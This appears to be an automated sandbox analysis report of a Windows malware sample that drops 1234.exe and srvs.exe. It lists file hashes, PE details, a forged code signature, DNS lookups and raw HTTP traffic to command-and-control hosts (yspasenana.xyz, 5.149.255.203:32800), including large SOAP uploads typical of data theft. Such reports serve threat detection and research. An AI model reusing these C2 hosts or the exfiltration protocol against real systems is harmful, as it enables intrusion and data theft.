SHA-512: FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7
CE

Malicious: false

Reputation: unknown

Preview:
SQLite format 3......@  .......$..................................................................C.......................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpEE20.tmp
Process: C:\Users\user\AppData\Roaming\1234.exe

File Type: SQLite 3.x database, last written using SQLite version 3032001

Category: dropped

Size (bytes): 73728

Entropy (8bit): 1.1874185457069584

Encrypted: false

SSDEEP: 96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq

MD5: 72A43D390E478BA9664F03951692D109

SHA1: 482FE43725D7A1614F6E24429E455CD0A920DF7C

SHA-256: 593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C

SHA-512: FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7
CE

Malicious: false

Reputation: unknown

Preview:
SQLite format 3......@  .......$..................................................................C.......................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpEE50.tmp
Process: C:\Users\user\AppData\Roaming\1234.exe

File Type: SQLite 3.x database, last written using SQLite version 3032001

Category: dropped

Size (bytes): 73728

Entropy (8bit): 1.1874185457069584

Encrypted: false

SSDEEP: 96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq

MD5: 72A43D390E478BA9664F03951692D109

SHA1: 482FE43725D7A1614F6E24429E455CD0A920DF7C

SHA-256: 593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C

SHA-512: FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7
CE

Malicious: false

Reputation: unknown

Preview:
SQLite format 3......@  .......$..................................................................C.......................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\1234.exe

Process: C:\Users\user\Desktop\Nb2HQZZDIf.exe

File Type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Category: dropped

Size (bytes): 979968

Entropy (8bit): 7.361382512565047
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Static File Info

General
File type: MS-DOS executable, MZ for MS-DOS

Entropy (8bit): 7.539500203560168

TrID: Win64 Executable (generic) (12005/4) 74.95%
Generic Win/DOS Executable (2004/3) 12.51%
DOS Executable Generic (2002/1) 12.50%
Autodesk FLIC Image File (extensions: flc, fli, cel) 
(7/3) 0.04%

File name: Nb2HQZZDIf.exe

File size: 627616

MD5: b8371590264db62ecbba4b7f481a21a8

SHA1: 837bfd10d70113330b2e00a1f12e99c4b0065d38

SHA256: fa3e22734ccb01da24364b65793ca5d2fafc53fbe6cef3ea
b8d76b158d1e0d7a

SHA512: 235f087e2039835dc9c944178c34f6dc924a91d028b75b2
5c545b8a7b8eea81e4556ec1600fe9f04d36118bd93ed4c
ccfbbc0f135296fcd5776c366db51979f1

SSDEEP: 12288:37iuUvUF2JxjnxXAHbcbzlarx98lR1omCAIEwQb
bC+3q99:37iuUvFjxXjgM4mCbEwQbbC+3q99

File Content Preview: MZ@.....................................!..L.!Win64 .EXE...$@...PE
..d....4.V..........#..........Z......R3.........@............................
.p......D..... ...@..............................................0..X....@..H
%...p..4_...l...'.................

File Icon

Icon Hash: 70cc8c6d69aacc70

Encrypted: false

SSDEEP: 12288:cGRXJBEsyGeV5qLHKK1QK1MuSUqMidk++KANTbCPpUlmLXIRE:T9JB8rWHKK131MuadkJK4qrXIW

MD5: 523AC177BFB4FB64A20B60FC0CE3E0E3

SHA1: BB965F2D97B19ED01702B8182BBD870670A1E75B

SHA-256: 20E702B077D7CF9780192671268C321BB0A76BAEC0A731413A1F04F735EEDCE3

SHA-512: BD6C23385D7B914AD9A423D71DF9FA33BA917BA696270DF1435D90DE24B7B1286A7263FD10A027C17C41A899E5667F4481C83B385931ECCD244AEA7971D519F2

Malicious: true

Antivirus: Antivirus: ReversingLabs, Detection: 33%

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......`................."...........@... ...`....@.. ..................................
..@.................................P@..K.......0....................`....................................................... ............... ..H............text.... ... ...".................. ..`.sdata.. ....`.......&..............@....rsr
c...0............(..............@..@.reloc.......`......................@..B..............................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
....................

C:\Users\user\AppData\Roaming\1234.exe

C:\Users\user\AppData\Roaming\field
Process: C:\Users\user\Desktop\Nb2HQZZDIf.exe

File Type: PNG image data, 1 x 1, 1-bit colormap, non-interlaced

Category: dropped

Size (bytes): 116

Entropy (8bit): 4.529003957966892

Encrypted: false

SSDEEP: 3:yionv//thPlE+kSI+Dtmy/Y+sR3Qhl/09h/rywOhSllln+wbp:6v/lhPfkCDtmywFghK9hm9Wlln+Yp

MD5: EC6AAE2BB7D8781226EA61ADCA8F0586

SHA1: D82B3BAD240F263C1B887C7C0CC4C2FF0E86DFE3

SHA-256: B02FFFABA9E664FF7840C82B102D6851EC0BB148CEC462CEF40999545309E599

SHA-512: AA62A8CD02A03E4F462F76AE6FF2E43849052CE77CCA3A2CCF593F6669425830D0910AFAC3CF2C46DD385454A6FB3B4BD604AE13B9586087D6F22DE644F9DFC
7

Malicious: false

Reputation: unknown

Preview:
.PNG........IHDR.............%.V.....PLTE....z=.....tRNS.@..f....pHYs..........+......IDAT..c`.......qd.....IEND.B`.
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General
Entrypoint: 0x140143352

Entrypoint Section: .MPRESS2

Digitally signed: true

Imagebase: 0x140000000

Subsystem: windows gui

Image File Characteristics: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, DEBUG_STRIPPED, 
RELOCS_STRIPPED

DLL Characteristics: HIGH_ENTROPY_VA

Time Stamp: 0x56F734A2 [Sun Mar 27 01:17:22 2016 UTC]

TLS Callbacks:

CLR (.Net) Version:

OS Version Major: 5

OS Version Minor: 2

File Version Major: 5

File Version Minor: 2

Subsystem Version Major: 5

Subsystem Version Minor: 2

Import Hash: caa5e6a2892587c2324418efee31c648

Signature Valid: false

Signature Issuer: CN=Sectigo RSA Code Signing CA, O=Sectigo Limited, L=Salford, S=Greater Manchester, 
C=GB

Signature Validation Error: The digital signature of the object did not verify

Error Number: -2146869232

Not Before, Not After 5/22/2019 5:00:00 PM 5/23/2023 4:59:59 PM

Subject Chain CN=Sublime HQ Pty Ltd, O=Sublime HQ Pty Ltd, STREET=Suite 102, STREET=377 New 
South Head Rd, L=Doubte Bay, S=NSW, PostalCode=2028, C=AU

Version: 3

Thumbprint MD5: A32549731E28A0F6BA85C9B2C50FE589

Thumbprint SHA-1: 834F29A60152CE36EB54AF37CA5F8EC029ECCF01

Thumbprint SHA-256: E025B15847B86808B69C605D7FC63A186CBF1D9A4ED5A1971B2FF5F9C6F50DF0

Serial: 00972FADA2BC13FA55C5D47FEF56AEE0F4

Name Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

.MPRESS1 0x1000 0x142000 0x63400 False 1.00032224103 basic-16 executable not 
stripped

7.9995184158 IMAGE_SCN_MEM_EXECUTE, 
IMAGE_SCN_CNT_INITIALIZE
D_DATA, 
IMAGE_SCN_MEM_WRITE, 
IMAGE_SCN_CNT_UNINITIALI
ZED_DATA, 
IMAGE_SCN_CNT_CODE, 
IMAGE_SCN_MEM_READ

.MPRESS2 0x143000 0xe80 0x1000 False 0.507568359375 data 5.65816934801 IMAGE_SCN_MEM_EXECUTE, 
IMAGE_SCN_CNT_INITIALIZE
D_DATA, 
IMAGE_SCN_MEM_WRITE, 
IMAGE_SCN_CNT_UNINITIALI
ZED_DATA, 
IMAGE_SCN_CNT_CODE, 
IMAGE_SCN_MEM_READ

.rsrc 0x144000 0x32548 0x32600 False 0.374694672767 data 5.82867750581 IMAGE_SCN_CNT_INITIALIZE
D_DATA, 
IMAGE_SCN_MEM_WRITE, 
IMAGE_SCN_MEM_READ

Static PE Info

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos
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Network Port Distribution

Language of compilation system Country where language is spoken Map

English United States

Network Behavior

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Jul 22, 2021 11:37:57.757497072 CEST 192.168.2.3 8.8.8.8 0x6b1f Standard query 
(0)

iplogger.org A (IP address) IN (0x0001)

Jul 22, 2021 11:37:58.362932920 CEST 192.168.2.3 8.8.8.8 0x35c Standard query 
(0)

is.gd A (IP address) IN (0x0001)

Jul 22, 2021 11:37:58.827770948 CEST 192.168.2.3 8.8.8.8 0xc8ab Standard query 
(0)

bitbucket.org A (IP address) IN (0x0001)

Jul 22, 2021 11:37:59.534981012 CEST 192.168.2.3 8.8.8.8 0x694d Standard query 
(0)

bbuseruplo
ads.s3.ama
zonaws.com

A (IP address) IN (0x0001)

Jul 22, 2021 11:39:02.829637051 CEST 192.168.2.3 8.8.8.8 0x37fc Standard query 
(0)

yspasenana.xyz A (IP address) IN (0x0001)

Jul 22, 2021 11:39:07.421799898 CEST 192.168.2.3 8.8.8.8 0x9cbd Standard query 
(0)

api.ip.sb A (IP address) IN (0x0001)

Jul 22, 2021 11:39:07.496417999 CEST 192.168.2.3 8.8.8.8 0xde65 Standard query 
(0)

api.ip.sb A (IP address) IN (0x0001)

Jul 22, 2021 11:39:12.173031092 CEST 192.168.2.3 8.8.8.8 0x7d8e Standard query 
(0)

yspasenana.xyz A (IP address) IN (0x0001)

Jul 22, 2021 11:39:12.983562946 CEST 192.168.2.3 8.8.8.8 0x617 Standard query 
(0)

yspasenana.xyz A (IP address) IN (0x0001)

Jul 22, 2021 11:39:13.826380968 CEST 192.168.2.3 8.8.8.8 0xbae6 Standard query 
(0)

bitbucket.org A (IP address) IN (0x0001)

Jul 22, 2021 11:39:14.621644974 CEST 192.168.2.3 8.8.8.8 0xe505 Standard query 
(0)

bbuseruplo
ads.s3.ama
zonaws.com

A (IP address) IN (0x0001)

Jul 22, 2021 11:39:14.694097042 CEST 192.168.2.3 8.8.8.8 0xfae9 Standard query 
(0)

bbuseruplo
ads.s3.ama
zonaws.com

A (IP address) IN (0x0001)

Jul 22, 2021 11:39:20.737021923 CEST 192.168.2.3 8.8.8.8 0x6d07 Standard query 
(0)

yspasenana.xyz A (IP address) IN (0x0001)

Jul 22, 2021 11:39:48.145256996 CEST 192.168.2.3 8.8.8.8 0xaf28 Standard query 
(0)

api.ip.sb A (IP address) IN (0x0001)

Jul 22, 2021 11:39:48.225770950 CEST 192.168.2.3 8.8.8.8 0x3714 Standard query 
(0)

api.ip.sb A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Jul 22, 2021 
11:37:57.814486980 
CEST

8.8.8.8 192.168.2.3 0x6b1f No error (0) iplogger.org 88.99.66.31 A (IP address) IN (0x0001)

Jul 22, 2021 
11:37:58.424026012 
CEST

8.8.8.8 192.168.2.3 0x35c No error (0) is.gd 104.25.233.53 A (IP address) IN (0x0001)

Jul 22, 2021 
11:37:58.424026012 
CEST

8.8.8.8 192.168.2.3 0x35c No error (0) is.gd 104.25.234.53 A (IP address) IN (0x0001)

Possible Origin

TCP Packets

UDP Packets

DNS Queries

DNS Answers
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Jul 22, 2021 
11:37:58.424026012 
CEST

8.8.8.8 192.168.2.3 0x35c No error (0) is.gd 172.67.83.132 A (IP address) IN (0x0001)

Jul 22, 2021 
11:37:58.887105942 
CEST

8.8.8.8 192.168.2.3 0xc8ab No error (0) bitbucket.org 104.192.141.1 A (IP address) IN (0x0001)

Jul 22, 2021 
11:37:59.595797062 
CEST

8.8.8.8 192.168.2.3 0x694d No error (0) bbuseruplo
ads.s3.ama
zonaws.com

s3-1-w.amazonaws.com CNAME 
(Canonical 
name)

IN (0x0001)

Jul 22, 2021 
11:37:59.595797062 
CEST

8.8.8.8 192.168.2.3 0x694d No error (0) s3-1-w.ama
zonaws.com

s3-w.us-east-
1.amazonaws.com

CNAME 
(Canonical 
name)

IN (0x0001)

Jul 22, 2021 
11:37:59.595797062 
CEST

8.8.8.8 192.168.2.3 0x694d No error (0) s3-w.us-east-
1.amazo
naws.com

52.216.94.27 A (IP address) IN (0x0001)

Jul 22, 2021 
11:39:02.887343884 
CEST

8.8.8.8 192.168.2.3 0x37fc No error (0) yspasenana.xyz 212.224.105.105 A (IP address) IN (0x0001)

Jul 22, 2021 
11:39:07.485059977 
CEST

8.8.8.8 192.168.2.3 0x9cbd No error (0) api.ip.sb api.ip.sb.cdn.cloudflare.n
et

CNAME 
(Canonical 
name)

IN (0x0001)

Jul 22, 2021 
11:39:07.556369066 
CEST

8.8.8.8 192.168.2.3 0xde65 No error (0) api.ip.sb api.ip.sb.cdn.cloudflare.n
et

CNAME 
(Canonical 
name)

IN (0x0001)

Jul 22, 2021 
11:39:12.230168104 
CEST

8.8.8.8 192.168.2.3 0x7d8e No error (0) yspasenana.xyz 212.224.105.105 A (IP address) IN (0x0001)

Jul 22, 2021 
11:39:13.041392088 
CEST

8.8.8.8 192.168.2.3 0x617 No error (0) yspasenana.xyz 212.224.105.105 A (IP address) IN (0x0001)

Jul 22, 2021 
11:39:13.885869026 
CEST

8.8.8.8 192.168.2.3 0xbae6 No error (0) bitbucket.org 104.192.141.1 A (IP address) IN (0x0001)

Jul 22, 2021 
11:39:14.679730892 
CEST

8.8.8.8 192.168.2.3 0xe505 No error (0) bbuseruplo
ads.s3.ama
zonaws.com

s3-1-w.amazonaws.com CNAME 
(Canonical 
name)

IN (0x0001)

Jul 22, 2021 
11:39:14.679730892 
CEST

8.8.8.8 192.168.2.3 0xe505 No error (0) s3-1-w.ama
zonaws.com

s3-w.us-east-
1.amazonaws.com

CNAME 
(Canonical 
name)

IN (0x0001)

Jul 22, 2021 
11:39:14.679730892 
CEST

8.8.8.8 192.168.2.3 0xe505 No error (0) s3-w.us-east-
1.amazo
naws.com

52.217.80.20 A (IP address) IN (0x0001)

Jul 22, 2021 
11:39:14.753855944 
CEST

8.8.8.8 192.168.2.3 0xfae9 No error (0) bbuseruplo
ads.s3.ama
zonaws.com

s3-1-w.amazonaws.com CNAME 
(Canonical 
name)

IN (0x0001)

Jul 22, 2021 
11:39:14.753855944 
CEST

8.8.8.8 192.168.2.3 0xfae9 No error (0) s3-1-w.ama
zonaws.com

s3-w.us-east-
1.amazonaws.com

CNAME 
(Canonical 
name)

IN (0x0001)

Jul 22, 2021 
11:39:14.753855944 
CEST

8.8.8.8 192.168.2.3 0xfae9 No error (0) s3-w.us-east-
1.amazo
naws.com

52.217.80.20 A (IP address) IN (0x0001)

Jul 22, 2021 
11:39:20.793726921 
CEST

8.8.8.8 192.168.2.3 0x6d07 No error (0) yspasenana.xyz 212.224.105.105 A (IP address) IN (0x0001)

Jul 22, 2021 
11:39:48.205405951 
CEST

8.8.8.8 192.168.2.3 0xaf28 No error (0) api.ip.sb api.ip.sb.cdn.cloudflare.n
et

CNAME 
(Canonical 
name)

IN (0x0001)

Jul 22, 2021 
11:39:48.283055067 
CEST

8.8.8.8 192.168.2.3 0x3714 No error (0) api.ip.sb api.ip.sb.cdn.cloudflare.n
et

CNAME 
(Canonical 
name)

IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

            
yspasenana.xyz

            
5.149.255.203:32800

         

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.3 49742 212.224.105.105 80 C:\Users\user\AppData\Roaming\1234.exe

HTTP Request Dependency Graph

HTTP Packets
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Timestamp
kBytes
transferred Direction Data

Jul 22, 2021 
11:39:03.171924114 CEST

6697 OUT POST / HTTP/1.1
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"
Host: yspasenana.xyz
Content-Length: 144
Expect: 100-continue
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Jul 22, 2021 
11:39:03.220138073 CEST

6697 IN HTTP/1.1 100 Continue

Jul 22, 2021 
11:39:03.332592964 CEST

6699 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 22 Jul 2021 09:39:03 GMT
Content-Type: text/xml; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Keep-Alive: timeout=3
Vary: Accept-Encoding
Content-Encoding: gzip
Data Raw: 33 65 34 0d 0a 1f 8b 08 00 00 00 00 00 02 03 bd 58 6d 8f e2 36 10 fe 2b 11 d2 4a 2d ba 25 5c b7 dd 9e 10 87 
c4 4b d8 a2 2e bb 94 70 7b ad 94 2f c6 19 88 8b e3 89 6c 67 03 ab fb f1 75 42 c2 42 ef b6 2a 31 ad 84 48 3c e3 79 32 1e 
8f c7 8f dd 55 1d 4f 3c 03 c7 04 9c 6d cc 85 ea a8 8f 8d 48 eb a4 e3 ba 8a 46 10 13 d5 32 72 85 24 69 a1 5c bb f9 8b 0b 
a5 85 db e8 75 55 67 80 e1 ae d7 35 28 4c a2 88 41 68 1f b4 66 62 ad e6 a0 12 14 aa 04 3e c0 6a 88 93 54 b2 02 ae f1 96 
61 ca 75 e9 0f f9 d8 18 48 cc 14 48 6f ab 41 28 86 a2 51 aa d8 01 33 cb b2 56 76 53 40 fe d0 6e bf 77 7f 9f de fb 85 f7 d7 
4c 28 4d 04 05 f3 25 d2 19 70 a4 1b 08 87 98 0a 2d 77 25 ca f2 ab 01 c7 8c 4a 54 b8 d2 2d 8a 71 0e 78 e3 be 6f bb 3e 48 
46 38 7b 21 da b8 e0 f6 a5 24 3b d5 70 8f 60 27 b3 8b 21 3e 2e ff 04 aa 7f ec 69 99 42 d7 7d 6d 1f 54 b7 bd 15 e1 ea 48 
77 9b eb 7c 4a 44 19 2c 75 b0 3d 11 96 9d 86 91 c4 18 2a e9 8c e8 48 5d c2 f7 5e 77 d9 51 5a 9a 39 ec 5d 7d f2 bd f9 6c 
fe 38 9e dc 7b 57 41 3f 49 46 44 93 e0 1e 29 e1 c1 80 68 cd a1 25 40 77 dd 83 c1 bf 33 2d 1c 67 69 1c 7c 32 8e 3b b9 e2 
6c 88 3b c4 35 87 3d 12 58 e3 7c b7 fd 70 fb bd 0d d8 1c 49 6c b4 c1 63 02 92 38 be 89 73 46 24 04 67 bb 33 25 09 07 5f 
a7 21 c3 d2 9d 19 4f 95 c5 f8 26 92 85 76 91 fe d9 d7 44 96 ff f5 51 86 a6 32 94 99 6a 83 12 41 88 da 02 e0 89 3d 13 1e 
32 0b 84 5f cd 9c 98 46 7d 00 8f 43 5e 26 95 63 1f 0e 2f 61 d4 99 49 33 26 ba bb 00 5c 3a c4 97 29 84 cc 8c 4e 12 61 01 
34 06 21 99 74 26 82 06 3e 07 96 08 26 7f 0a d4 7e 5f 08 62 0c 53 0e ea 50 04 9e 18 64 20 cf 4f 05 f3 ca 99 20 77 12 d3 
24 18 32 63 81 36 99 85 98 a1 a8 1e f5 71 38 83 25 b1 71 e4 37 b3 01 f9 a9 5c 59 40 3c ca 25 d3 56 6b 7e 88 66 96 30 18 
49 b2 b6 8a 46 3f 66 eb 7d 30 2c 40 16 28 69 64 61 ff 07 11 21 6c cb c7 05 6a d0 3e 36 f5 01 6e 6e db 95 17 f6 de 4c c9 
56 47 28 6e 6c 2a da f5 d4 10 41 9b 69 f6 93 54 0b b6 39 3c eb 23 3d 30 6a bb a3 0f 91 9a df 05 42 6b 59 04 8b fa 66 97 
29 53 c2 78 6b 9e 06 7d 8d 36 ab 79 20 c9 33 1c 38 49 d1 ba be 40 e6 55 8c 32 f0 c2 b5 cd 84 3d 3c 4d 46 93 be 33 44 99 
a0 2c 98 68 25 ba 83 b1 59 fb e0 78 5b 43 ab 18 98 03 c0 f9 a9 a9 81 c4 e7 cf 9d dc 25 1a 17 64 f9 cf bb aa fb 26 0f af 28 
fa 88 29 8a 32 7c e5 f9 c7 c2 b2 cf 78 31 3b a1 f9 79 bb 52 31 b3 53 9e 2a 0b c9 b1 fa 3f e1 fd a9 19 49 22 71 65 3e 70 15 
8c 40 6d 34 26 5f 9a 2d bd d5 ef 9a ad 10 69 f3 5d 73 03 3b f3 9f 11 ce 41 9b 17 05 10 36 bf b4 bf 1d ea 53 38 a4 69 c1 80 
ce 06 74 ff 3e ec 2a 10 77 40 37 f8 ff 1f 84 2a d6 3f c5 17 c6 39 09 c6 4c c2 0a b7 35 ce 0d 9f 89 06 59 cf b4 28 df 80 a2 
86 e9 22 4a cd 9e 68 d8 82 0c 6b 58 97 1b e1 84 c2 9e 27 d4 80 f8 90 00 dd aa e2 b8 63 08 e1 6e 59 37 06 0f de e2 ae bf 
f0 9c 05 d0 48 20 c7 35 33 04 73 c0 09 dd fc 42 b2 1a 78 53 44 41 23 c6 43 c3 ae 0d 5d a5 79 56 a8 60 46 38 38 b9 ea 1b 
39 f9 75 06 56 b9 e9 53 09 20 4e 16 71 29 aa 3a e4 25 ea b4 42 ec 45 a5 7e 61 a6 77 2d 4d fb 18 e2 20 2c 3b 3d cd 1e 4e 
21 72 41 a9 fb 5c 2c a9 d3 3a 52 c9 ba ee 9b 57 37 6f ea 8a fb 20 a3 ad 6e 8d dc d7 eb a7 de 5f e7 f1 c2 3e 8b 12 00 00 
0d 0a 30 0d 0a 0d 0a 
Data Ascii: 3e4Xm6+J-%\K.p{/lguBB*1H<y2UO<mHF2r$i\uUg5(LAhfb>jTauHHoA(Q3VvS@nwL(M%p-w%JT-qxo>HF8{!$;
p`'!>.iB}mTHw|JD,u=*H]^wQZ9]}l8{WA?IFD)h%@w3-gi|2;l;5=X|pIlc8sF$g3%_!O&vDQ2jA=2_F}C^&c/aI3&\:)Na4!t&
>&~_bSPd O w$2c6q8%q7\Y@<%Vk~f0IF?f}0,@(ida!lj>6nnLVG(nl*AiT9<#=0jBkYf)Sxk}6y 38I@U2=<MF3D,h%Yx[C%d&
()2|x1;yR1S*?I"qe>p@m4&_-i]s;A6S8it>*w@7*?9L5Y("JhkX'cnY7H 53sBxSDA#C]yV`F889uVS Nq):%BE~aw-M ,;=N!r
A\,:RW7o n_>0

Session ID Source IP Source Port Destination IP Destination Port Process

1 192.168.2.3 49744 212.224.105.105 80 C:\Users\user\AppData\Roaming\1234.exe

Timestamp
kBytes
transferred Direction Data

Jul 22, 2021 
11:39:12.320914984 CEST

6705 OUT POST / HTTP/1.1
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment"
Host: yspasenana.xyz
Content-Length: 1151249
Expect: 100-continue
Accept-Encoding: gzip, deflate

Jul 22, 2021 
11:39:12.368823051 CEST

6705 IN HTTP/1.1 100 Continue

Jul 22, 2021 
11:39:12.916188002 CEST

7845 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 22 Jul 2021 09:39:12 GMT
Content-Type: text/xml; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Keep-Alive: timeout=3
Vary: Accept-Encoding
Content-Encoding: gzip
Data Raw: 37 65 0d 0a 1f 8b 08 00 00 00 00 00 02 03 45 ce 51 0a 83 40 0c 04 d0 ab c8 1e c0 fc 2f eb 7e 08 bd 80 9e 40 
da 50 05 37 09 3b 69 69 6f af 2d b6 fe 0d 03 f3 98 84 78 91 27 af 6a dc bc ca 2a 88 e8 c2 ec 6e 91 08 d7 99 cb 84 76 ef a1 
93 b5 5a ef f4 09 c4 c7 82 42 4e 88 bd de de 39 8d ec 3b b4 54 95 c2 e2 03 c3 54 70 98 7f d1 b9 d8 a3 2e 5f 29 50 4e f4 
5b d3 79 23 6f 17 76 26 42 93 00 00 00 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 7eEQ@/~@P7;iio-x'j*nvZBN9;TTp._)PN[y#ov&B0
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Session ID Source IP Source Port Destination IP Destination Port Process

2 192.168.2.3 49745 212.224.105.105 80 C:\Users\user\AppData\Roaming\1234.exe

Timestamp
kBytes
transferred Direction Data

Jul 22, 2021 
11:39:13.094369888 CEST

7845 OUT POST / HTTP/1.1
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://tempuri.org/Endpoint/GetUpdates"
Host: yspasenana.xyz
Content-Length: 1151241
Expect: 100-continue
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Jul 22, 2021 
11:39:13.144042969 CEST

7846 IN HTTP/1.1 100 Continue

Jul 22, 2021 
11:39:13.673022032 CEST

8989 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 22 Jul 2021 09:39:13 GMT
Content-Type: text/xml; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Keep-Alive: timeout=3
Vary: Accept-Encoding
Content-Encoding: gzip
Data Raw: 31 35 63 0d 0a 1f 8b 08 00 00 00 00 00 02 03 5d 92 51 4b c3 30 10 c7 bf 8a 14 f6 68 d3 6d a0 b4 74 81 cd 4d 
11 14 c4 39 f1 c1 97 ac 3d b6 b0 34 29 b9 eb 5a c1 0f 6f 12 db 39 d7 a7 bb ff ff ee 77 b9 26 39 66 2b 7d 04 65 6a b8 ea 2a 
a5 31 c3 59 b4 27 aa 33 c6 b0 d8 43 25 30 76 3a 1a 51 c7 c6 ee 98 0f 18 f4 1d 2c e2 39 66 0b 53 7e f1 fc 01 68 53 97 82 
00 5f 01 6b a3 b1 e7 9d 68 04 55 dd 58 19 28 d1 45 7d a3 a8 9f 2e 66 d1 c2 9a 16 c1 ae 3a 02 8d d2 e8 a8 b7 e4 09 d5 b6 
6d dc 4e 03 69 92 24 63 f6 f1 fc b4 0e 67 bd 96 1a 49 e8 02 dc 00 91 fd f2 df 04 1e 7c 36 2f c8 c1 f8 d2 b4 5a 19 51 ce 75 
b9 ea 72 76 d2 5d c5 5d 63 2d 68 e2 e3 64 e2 8d 21 75 ce d2 54 42 ea 7b a9 08 2c f3 c2 bf 50 0b f5 62 a4 ab 4c 6f 93 f0 f9
ee 33 d9 15 ad 49 50 83 dc cf 3a 82 b7 7b c1 59 fe 7c 73 bb e3 7e 37 74 cb 6d 25 6d 9b e2 00 14 f6 53 8d 44 51 ba f1 69 
9a 32 51 56 52 b3 b2 df 00 d9 4d 0c 1d 7c 8f a8 aa 47 9f 68 8f e8 53 0f 1f 90 3d fd 71 c9 a7 83 ec 62 a7 be 4b 94 5b 05 9c 
6c 13 1a 86 dc c7 e7 7f 8d 5d de d2 a5 14 2e da 89 c3 2b 60 7f cf 89 ff 00 2d b9 77 e7 5b 02 00 00 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 15c]QK0hmtM9=4)Zo9w&9f+}ej*1Y'3C%0v:Q,9fS~hS_khUX(E}.f:mNi$cgI|6/ZQurv]]c-hd!uTB{,PbLo3IP:
{Y|s~7tm%mSDQi2QVRM|GhS=qbK[l].+`-w[0

Session ID Source IP Source Port Destination IP Destination Port Process

3 192.168.2.3 49748 212.224.105.105 80 C:\Users\user\AppData\Roaming\1234.exe

Timestamp
kBytes
transferred Direction Data

Jul 22, 2021 
11:39:20.844013929 CEST

13048 OUT POST / HTTP/1.1
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://tempuri.org/Endpoint/VerifyUpdate"
Host: yspasenana.xyz
Content-Length: 1151267
Expect: 100-continue
Accept-Encoding: gzip, deflate

Jul 22, 2021 
11:39:20.891258955 CEST

13048 IN HTTP/1.1 100 Continue

Jul 22, 2021 
11:39:21.477404118 CEST

14184 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 22 Jul 2021 09:39:21 GMT
Content-Type: text/xml; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Keep-Alive: timeout=3
Vary: Accept-Encoding
Content-Encoding: gzip
Data Raw: 37 66 0d 0a 1f 8b 08 00 00 00 00 00 02 03 45 8e cb 0a 83 30 10 45 7f a5 e4 03 9c 7d 48 b3 28 f8 03 82 dd 07 
1d 1f 60 32 43 6e 2a f5 ef 6b 45 db dd e5 c0 39 5c 07 5b a7 95 17 51 be bd e3 92 60 71 37 53 29 6a 89 d0 4d 1c 03 aa 9d 
43 82 56 92 47 fa 0e e2 d3 20 e3 1d ec 43 fa cd bb 27 e7 79 d8 5a ed 43 e1 86 a1 92 70 16 7f bd c2 51 5f 79 3e 3a 86 bc 
a3 cb a5 ff 09 ff 01 0a 0b 8d ee 91 00 00 00 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 7fE0E}H(`2Cn*kE9\[Q`q7S)jMCVG C'yZCpQ_y>:0

Session ID Source IP Source Port Destination IP Destination Port Process

4 192.168.2.3 49751 5.149.255.203 32800 C:\Users\user\AppData\Local\Temp\srvs.exe

Timestamp
kBytes
transferred Direction Data

Jul 22, 2021 
11:39:44.921303988 CEST

14205 OUT POST / HTTP/1.1
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"
Host: 5.149.255.203:32800
Content-Length: 144
Expect: 100-continue
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
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Jul 22, 2021 
11:39:44.983942032 CEST

14206 IN HTTP/1.1 100 Continue

Jul 22, 2021 
11:39:45.058398962 CEST

14207 IN HTTP/1.1 200 OK
Content-Length: 4750
Content-Type: text/xml; charset=utf-8
Server: Microsoft-HTTPAPI/2.0
Date: Thu, 22 Jul 2021 09:39:39 GMT
